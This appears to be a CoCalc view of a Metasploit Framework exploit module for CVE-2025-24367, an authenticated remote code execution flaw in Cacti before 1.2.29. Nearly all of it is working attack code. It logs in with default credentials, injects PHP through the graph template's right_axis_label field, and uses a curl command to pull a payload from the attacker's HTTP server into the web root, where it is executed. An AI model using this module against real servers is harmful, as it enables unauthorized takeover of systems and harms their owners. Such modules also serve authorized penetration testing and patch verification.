Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/cacti_graph_template_rce.rb
31151 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::Remote::HttpServer
11
include Msf::Exploit::FileDropper
12
include Msf::Exploit::Cacti
13
prepend Msf::Exploit::Remote::AutoCheck
14
15
class CactiError < StandardError; end
16
class CactiNotFoundError < CactiError; end
17
class CactiVersionNotFoundError < CactiError; end
18
class CactiNoAccessError < CactiError; end
19
class CactiCsrfNotFoundError < CactiError; end
20
class CactiLoginError < CactiError; end
21
22
def initialize(info = {})
23
super(
24
update_info(
25
info,
26
'Name' => 'Cacti Graph Template authenticated RCE versions prior to 1.2.29',
27
'Description' => %q{
28
This module exploits an authenticated remote code execution vulnerability in Cacti versions prior to 1.2.29.
29
Authenticated users can upload a graph template through the /graph_templates.php endpoint. The right_axis_label
30
parameter is vulnerable to code injection, allowing attackers to execute arbitrary commands on the server.
31
The payload is length limited, due to this constraint the module starts an HTTP server and hosts the payload.
32
The initial payload downloads the full payload using curl from the attacker's server and saves it to the
33
web root of the cacti server before executing.
34
},
35
'License' => MSF_LICENSE,
36
'Author' => [
37
'chutchut', # Original discovery
38
'Jack Heysel' # Metasploit module
39
],
40
'References' => [
41
[ 'URL', 'https://github.com/SoftAndoWetto/CVE-2025-24367-PoC-Cacti/blob/main/exploit.py'],
42
[ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-fxrq-fr7h-9rqq'],
43
[ 'CVE', '2025-24367'],
44
],
45
'Privileged' => false,
46
'Targets' => [
47
[
48
'Linux',
49
{
50
'Arch' => [ARCH_CMD, ARCH_PHP],
51
'Platform' => [ 'unix', 'linux', 'php' ],
52
# The graph template id 226 corresponds to "Linux - Logged on users"
53
'TemplateId' => 226
54
}
55
],
56
[
57
'Windows',
58
{
59
'Arch' => [ARCH_CMD, ARCH_PHP],
60
'Platform' => [ 'win', 'php' ],
61
# The graph template id 197 corresponds to "Host MIB - Logged in Users"
62
'TemplateId' => 197
63
}
64
]
65
],
66
'DefaultOptions' => {
67
'WfsDelay' => 600
68
},
69
'DisclosureDate' => '2025-01-27',
70
'DefaultTarget' => 0,
71
'Notes' => {
72
'Stability' => [CRASH_SAFE],
73
'Reliability' => [REPEATABLE_SESSION],
74
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
75
}
76
)
77
)
78
79
register_options(
80
[
81
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
82
OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']),
83
OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti']),
84
]
85
)
86
end
87
88
def check
89
print_status('Checking Cacti version')
90
res = send_request_cgi(
91
'uri' => normalize_uri(target_uri.path, 'index.php'),
92
'method' => 'GET',
93
'keep_cookies' => true
94
)
95
return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?
96
97
html = res.get_html_document
98
begin
99
@cacti_version = parse_version(html)
100
version_msg = "The web server is running Cacti version #{@cacti_version}"
101
rescue CactiNotFoundError => e
102
return CheckCode::Safe(e.message)
103
rescue CactiVersionNotFoundError => e
104
return CheckCode::Unknown(e.message)
105
end
106
107
if Rex::Version.new(@cacti_version) < Rex::Version.new('1.2.29')
108
print_good(version_msg)
109
else
110
return CheckCode::Safe(version_msg)
111
end
112
113
@csrf_token = parse_csrf_token(html)
114
return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty?
115
116
begin
117
do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)
118
rescue CactiError => e
119
return CheckCode::Unknown("Login failed: #{e}")
120
end
121
122
@logged_in = true
123
CheckCode::Vulnerable
124
end
125
126
def csrf_magic_token
127
template_url = normalize_uri(target_uri.path, '/graph_templates.php?action=template_edit&id=' + target['TemplateId'].to_s)
128
res = send_request_cgi({
129
'uri' => template_url,
130
'method' => 'GET',
131
'keep_cookies' => true
132
})
133
unless res && res.code == 200
134
fail_with(Failure::UnexpectedReply, "Could not access graph template edit page at #{template_url}")
135
end
136
137
csrf_magic_token = nil
138
magic_script_tag = res.get_html_document&.xpath('//script[contains(text(), "csrfMagicToken")]')&.text
139
if magic_script_tag
140
magic_script_tag =~ /var csrfMagicToken\s=\s"(sid:[a-z0-9]+,[a-z0-9]+)";/
141
csrf_magic_token = Regexp.last_match(1)
142
end
143
144
fail_with(Failure::UnexpectedReply, 'Could not find csrfMagicToken in the template edit page') if csrf_magic_token.nil?
145
csrf_magic_token
146
end
147
148
def generate_right_axis_label(command, php_filename)
149
<<~LABEL
150
XXX
151
create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200
152
graph #{php_filename} -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=`#{command}`;?>
153
LABEL
154
end
155
156
def send_template_update(csrf_magic, right_axis_label)
157
data = {
158
'__csrf_magic' => csrf_magic,
159
'name' => 'Host MIB - Logged in Users',
160
'graph_template_id' => target['TemplateId'],
161
'graph_template_graph_id' => target['TemplateId'],
162
'save_component_template' => '1',
163
'title' => '|host_description| - Logged in Users',
164
'vertical_label' => 'percent',
165
'image_format_id' => '3',
166
'height' => '200',
167
'width' => '700',
168
'base_value' => '1000',
169
'slope_mode' => 'on',
170
'auto_scale' => 'on',
171
'auto_scale_opts' => '2',
172
'auto_scale_rigid' => 'on',
173
'upper_limit' => '100',
174
'lower_limit' => '0',
175
'right_axis_label' => right_axis_label,
176
'action' => 'save'
177
}
178
179
update_url = normalize_uri(target_uri.path, '/graph_templates.php?header=false')
180
res = send_request_cgi!({
181
'uri' => update_url,
182
'method' => 'POST',
183
'keep_cookies' => true,
184
'data' => URI.encode_www_form(data)
185
})
186
print_status("Template update response: HTTP #{res.code}") if res
187
end
188
189
def trigger_template
190
trigger_url = normalize_uri(target_uri.path, '/graph_json.php?rra_id=0&local_graph_id=3&graph_start=1761683272&graph_end=1761769672&graph_height=200&graph_width=700')
191
res = send_request_cgi({
192
'uri' => trigger_url,
193
'method' => 'GET',
194
'keep_cookies' => true
195
})
196
print_status("Trigger template update response: HTTP #{res.code}") if res
197
end
198
199
def upload_stage(upload_payload_command)
200
csrf_magic = csrf_magic_token
201
php_filename = "#{Rex::Text.rand_text_alpha(1)}.php"
202
register_file_for_cleanup(php_filename)
203
204
right_axis_label = generate_right_axis_label(upload_payload_command, php_filename)
205
send_template_update(csrf_magic, right_axis_label)
206
trigger_template
207
208
php_payload_check = send_request_cgi({
209
'uri' => normalize_uri(target_uri.path, "/#{php_filename}"),
210
'method' => 'GET',
211
'keep_cookies' => true
212
})
213
if php_payload_check && php_payload_check.code == 200
214
print_good("PHP payload uploaded successfully to #{target_uri.path}/#{php_filename}")
215
else
216
fail_with(Failure::UnexpectedReply, "Could not access the uploaded payload at #{target_uri.path}/#{php_filename}")
217
end
218
end
219
220
def execute_stage(execute_payload_command)
221
csrf_magic = csrf_magic_token
222
php_filename = "#{Rex::Text.rand_text_alpha(1)}.php"
223
register_file_for_cleanup(php_filename)
224
225
right_axis_label = generate_right_axis_label(execute_payload_command, php_filename)
226
send_template_update(csrf_magic, right_axis_label)
227
trigger_template
228
229
send_request_cgi({
230
'uri' => normalize_uri(target_uri.path, "/#{php_filename}"),
231
'method' => 'GET',
232
'keep_cookies' => true
233
})
234
end
235
236
def on_request_uri(cli, request)
237
print_status("Request '#{request.method} #{request.uri}'")
238
print_status('Sending payload ...')
239
send_response(cli, payload.encoded,
240
'Content-Type' => 'application/octet-stream')
241
end
242
243
def authenticate
244
if @csrf_token.blank? || @cacti_version.blank?
245
res = send_request_cgi(
246
'uri' => normalize_uri(target_uri.path, 'index.php'),
247
'method' => 'GET',
248
'keep_cookies' => true
249
)
250
fail_with(Failure::Unreachable, 'Could not connect to the web server - no response') if res.nil?
251
252
html = res.get_html_document
253
if @csrf_token.blank?
254
print_status('Getting the CSRF token to login')
255
@csrf_token = parse_csrf_token(html)
256
fail_with(Failure::NotFound, 'Unable to get the CSRF token') if @csrf_token.empty?
257
258
vprint_good("CSRF token: #{@csrf_token}")
259
end
260
261
if @cacti_version.blank?
262
print_status('Getting the version')
263
begin
264
@cacti_version = parse_version(html)
265
vprint_good("Version: #{@cacti_version}")
266
rescue CactiError => e
267
print_error("Could not get the version, the exploit might fail: #{e}")
268
end
269
end
270
end
271
272
unless @logged_in
273
begin
274
do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)
275
rescue CactiError => e
276
fail_with(Failure::NoAccess, "Login failure: #{e}")
277
end
278
end
279
end
280
281
def validate_configuration!
282
if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
283
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
284
end
285
286
if Rex::Socket.is_ipv6?(datastore['SRVHOST'])
287
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to an IPv4 address, as an IPv6 address exceeds the 47 character payload length limitation of this exploit.')
288
end
289
end
290
291
def exploit
292
validate_configuration!
293
authenticate
294
hosted_payload_name = Rex::Text.rand_text_alpha_lower(1)
295
start_service('Path' => "/#{hosted_payload_name}", 'ssl' => false)
296
if payload.arch.first == ARCH_CMD
297
if target.name == 'Windows'
298
on_disk_payload_name = "#{Rex::Text.rand_text_alpha_lower(1)}.bat"
299
execute_payload_command = "cmd\\x20/c\\x20#{on_disk_payload_name}"
300
else
301
on_disk_payload_name = Rex::Text.rand_text_alpha_lower(1)
302
execute_payload_command = "sh\\x20#{on_disk_payload_name}"
303
end
304
else
305
on_disk_payload_name = "#{Rex::Text.rand_text_alpha_lower(1)}.php"
306
execute_payload_command = "php\\x20#{on_disk_payload_name}"
307
end
308
vprint_status("Payload execution command: #{execute_payload_command}")
309
310
# upload_payload_command must not exceed 47 characters or the exploit will fail, this is why 1 character payload names are used, SSL is disabled and IPv6 addresses for SRVHOST are not supported
311
upload_payload_command = "curl\\x20#{datastore['SRVHOST']}\\x3a#{datastore['SRVPORT']}/#{hosted_payload_name}\\x20-o\\x20#{on_disk_payload_name}"
312
fail_with(Exploit::Failure::BadConfig, "The generated upload command length of: #{upload_payload_command.length}, exceeds the 47 character limit, please attempt to shorten either SRVHOST or SRVPORT") if upload_payload_command.length > 47
313
upload_stage(upload_payload_command)
314
execute_stage(execute_payload_command)
315
end
316
end
317
318